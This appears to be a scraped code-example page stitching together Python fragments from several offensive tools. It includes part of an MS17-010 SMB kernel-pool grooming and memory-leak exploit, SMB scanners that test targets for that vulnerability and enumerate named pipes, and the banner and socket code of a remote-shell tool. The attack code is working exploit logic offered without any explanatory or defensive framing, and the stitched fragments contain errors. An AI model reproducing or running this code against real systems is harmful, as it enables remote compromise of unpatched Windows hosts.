	req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)
	# many BRIDEs, expect two of them are allocated at splitted pool from GROOM
	reqs = []
	for i in range(12):
		mid = next_extra_mid()
		reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))

	conn.send_raw(req1[:-8])
	conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
	
	# expected transactions alignment ("Frag" pool is not shown)
	#
	#    |         5 * PAGE_SIZE         |   PAGE_SIZE    |         5 * PAGE_SIZE         |   PAGE_SIZE    |
	#    +-------------------------------+----------------+-------------------------------+----------------+
	#    |    GROOM mid=mid_ntrename        |  extra_mid1 |         GROOM mid=fid            |  extra_mid2 |
	#    +-------------------------------+----------------+-------------------------------+----------------+
	#
	# If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.
	# From leaked transaction, we get
	# - leaked transaction address from InParameter or InData
	# - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink
	# With these information, we can verify the transaction aligment from displacement.

	leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)
	leakData = leakData[0x10d4:]  # skip parameters and its own input
	#open('leak.dat', 'wb').write(leakData)

	if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
		logger.red('Could not find frag pool tag in leak data')
		return None
	
	# ================================
	# verify leak data
	# ================================
	leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]
	# check pool tag and size value in buffer header
	expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
	leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
	if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:
		logger.red('No transaction struct in leak data')
		return None

	leakTrans = leakData[leakTransOffset:]

	ptrf = info['PTR_FMT']
	_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8)
	inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
	leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]

	logger.blue('Connection: [0x{:x}]'.format(connection_addr))
	logger.blue('Session: [0x{:x}]'.format(session_addr))
	logger.blue('Flink: [0x{:x}]'.format(flink_value))
	logger.blue('InParam: [0x{:x}]'.format(inparam_value))
	logger.blue('MID: [0x{:x}]'.format(leak_mid))

	next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000
	if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:
		logger.red('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr))
		return None
	# trans1: leak transaction
	# trans2: next transaction
	return {
		'connection': connection_addr,
		'session': session_addr,
		'next_page_addr': next_page_addr,
		'trans1_mid': leak_mid,
		'trans1_addr': inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN,
		'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'],
	}
Esempio n. 13
0
def worawit(target):
    try:
        try:
            conn = MYSMB(target, timeout=5)
        except:
            logger.red('Unable to connect to [{}]'.format(logger.RED(target)))
            return False
        try:
            conn.login(USERNAME, PASSWORD)
        except:
            logger.red('Failed to authenticate to [{}]'.format(
                logger.RED(target)))
            return False
        finally:
            try:
                OS = conn.get_server_os()
            except Exception as e:
                logger.red(str(e))
                return False

        tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
        conn.set_default_tid(tid)

        # test if target is vulnerable
        TRANS_PEEK_NMPIPE = 0x23
        recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE),
                                  maxParameterCount=0xffff,
                                  maxDataCount=0x800)
        status = recvPkt.getNTStatus()
        if status == 0xC0000205:  # STATUS_INSUFF_SERVER_RESOURCES
            logger.green('[%s] VULNERABLE' % logger.GREEN(target))
            vulnerable[target] = []
        else:
            logger.red('[%s] PATCHED' % logger.RED(target))

        pipes_found = []

        for pipe_name, pipe_uuid in pipes.items():
            try:
                dce = conn.get_dce_rpc(pipe_name)
                dce.connect()
                try:
                    dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
                    try:
                        pipes_found.append(pipe_name)
                    except:
                        pass
                except DCERPCException as e:
                    if 'transfer_syntaxes_not_supported' in str(e):
                        try:
                            pipes_found.append(pipe_name)
                        except:
                            pass
                    else:
                        try:
                            pipes_found.append(pipe_name)
                        except:
                            pass
                dce.disconnect()
                vulnerable[target] = pipes_found
            except smb.SessionError as e:
                continue
            except smbconnection.SessionError as e:
                continue

        conn.disconnect_tree(tid)
        conn.logoff()
        conn.get_socket().close()
    except KeyboardInterrupt:
        logger.red('Keyboard interrupt received..')
        quit()
Esempio n. 14
0
        sys.stdout.write(tmp)
        sys.stdout.flush()
        time.sleep(0.05)
        if i != 2:
            print '\033[5A'


banner = grey(u"""
                ██████████████████████████
                ─██▄▀▄▀█████──██▄▀▄▀█████─
                ──▀██▄█▄██▀────▀██▄█▄██▀──
""") + red(u"""
___________.__                     _________.__           .__  .__   
\__    ___/|  |__  __ __  ____    /   _____/|  |__   ____ |  | |  |  
  |    |   |  |  \|  |  \/ ___\   \_____  \ |  |  \_/ __ \|  | |  |  
  |    |   |   Y  \  |  / /_/  >  /        \|   Y  \  ___/|  |_|  |__
  |____|   |___|  /____/\___  /  /_______  /|___|  /\___  >____/____/
                \/     /_____/           \/      \/     \/           
                (cause thats how we roll homie!)
""")

from docopt import docopt
import socket

commands = {}

prev_data = ""


def send_data(conn, data):
    length = str(len(data)).zfill(16)
Esempio n. 15
0
def run(target):
    try:
        try:
            logger.verbose('Attempting to connect to %s' % logger.BLUE(target))
            conn = MYSMB(target, timeout=5)
            logger.verbose('Successfully connected to %s' %
                           logger.BLUE(target))
        except Exception as e:
            logger.red('Failed to connect to [{}]'.format(logger.RED(target)))
            logger.verbose('Got error whilst connecting: %s' %
                           logger.BLUE(str(e)))
            return False
        try:
            # login(self, user, password, domain='', lmhash='', nthash='', ntlm_fallback=True, maxBufferSize=None)
            # can add passthehash at some point
            logger.verbose('Attempting to authenticate to %s' %
                           logger.BLUE(target))
            conn.login(username, password, domain)
            logger.verbose('Successfully authenticated to %s' %
                           logger.BLUE(target))
        except Exception as e:
            logger.red('Failed to authenticate to [{}]'.format(
                logger.RED(target)))
            return False
        try:
            logger.verbose('Attempting to get OS for %s' % logger.BLUE(target))
            OS = conn.get_server_os()
            logger.verbose('Got Operting System: %s' % logger.BLUE(OS))
        except Exception as e:
            logger.verbose('Got error whilst getting Operting System: %s' %
                           logger.BLUE(str(e)))
            logger.red('Failed to obtain operating system')

        try:
            tree_connect_andx = '\\\\' + target + '\\' + 'IPC$'
            logger.verbose('Attempting to connect to %s' %
                           logger.BLUE(tree_connect_andx))
            tid = conn.tree_connect_andx(tree_connect_andx)
            conn.set_default_tid(tid)
            logger.verbose('Successfully connected to %s' %
                           logger.BLUE(tree_connect_andx))

        except Exception as e:
            logger.verbose('Got error whilst connecting to %s: %s' %
                           (tree_connect_andx, logger.BLUE(str(e))))
            return False

        # test if target is vulnerable
        logger.verbose('Testing if %s is vulnerable...' % logger.BLUE(target))
        try:
            TRANS_PEEK_NMPIPE = 0x23
            recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE),
                                      maxParameterCount=0xffff,
                                      maxDataCount=0x800)
            status = recvPkt.getNTStatus()
            if status == 0xC0000205:  # STATUS_INSUFF_SERVER_RESOURCES
                logger.green('[%s] VULNERABLE' % logger.GREEN(target))
                vulnerable[target] = []
            else:
                logger.red('[%s] PATCHED' % logger.RED(target))
        except Exception as e:
            logger.verbose(
                'Got error whilst checking vulnerability status %s' %
                logger.BLUE(str(e)))
            return Falses

        pipes_found = []

        if target in vulnerable:
            logger.verbose('Checking pipes on %s' % logger.BLUE(target))
            for pipe_name, pipe_uuid in pipes.items():
                try:
                    dce = conn.get_dce_rpc(pipe_name)
                    dce.connect()
                    try:
                        dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
                        try:
                            pipes_found.append(pipe_name)
                        except Exception as e:
                            logger.verbose(
                                'Got error whilst appending pipe to list %s' %
                                logger.BLUE(str(e)))
                            pass
                    except DCERPCException as e:
                        logger.verbose('Got error whilst binding to rpc: %s' %
                                       logger.BLUE(str(e)))
                        if 'transfer_syntaxes_not_supported' in str(e):
                            try:
                                pipes_found.append(pipe_name)
                            except Exception as e:
                                logger.verbose(
                                    'Got error whilst appending pipe to list %s (transfer_syntaxes_not_supported)'
                                    % logger.BLUE(str(e)))
                                pass
                        else:
                            try:
                                pipes_found.append(pipe_name)
                            except Exception as e:
                                logger.verbose(
                                    'Got error whilst appending pipe to list %s !(transfer_syntaxes_not_supported)'
                                    % logger.BLUE(str(e)))
                                pass
                    except Exception as e:
                        logger.verbose('Got error whilst binding to rpc: %s' %
                                       logger.BLUE(str(e)))
                        pass
                    finally:
                        dce.disconnect()
                    vulnerable[target] = pipes_found
                except smb.SessionError as e:
                    logger.verbose(
                        'Got SMB Session error whilst connecting %s' %
                        logger.BLUE(str(e)))
                    continue
                except smbconnection.SessionError as e:
                    logger.verbose(
                        'Got SMB Session error whilst connecting %s' %
                        logger.BLUE(str(e)))
                    continue
                except Exception as e:
                    logger.verbose(
                        'Got SMB Session error whilst connecting %s' %
                        logger.BLUE(str(e)))
                    continue
        try:
            conn.disconnect_tree(tid)
            conn.logoff()
            conn.get_socket().close()
        except Exception as e:
            logger.verbose('Got error whilst disconnecting from rpc %s' %
                           logger.BLUE(str(e)))
            pass
    except KeyboardInterrupt:
        logger.red('Keyboard interrupt received..')
        quit()
Esempio n. 16
0
                    help="username to authenticate with")
parser.add_argument("-p",
                    "--password",
                    type=str,
                    metavar="",
                    help="password for specified user")
parser.add_argument("-d",
                    "--domain",
                    type=str,
                    metavar="",
                    help="domain for specified user")
args = parser.parse_args()

if args.user:
    if args.password == None:
        logger.red('Please specify username and password')
        quit()
    else:
        username = args.user
        password = args.password
else:
    username = ''

if args.password:
    if args.user == None:
        logger.red('Please specify username and password')
        quit()
    else:
        username = args.user
        password = args.password
else: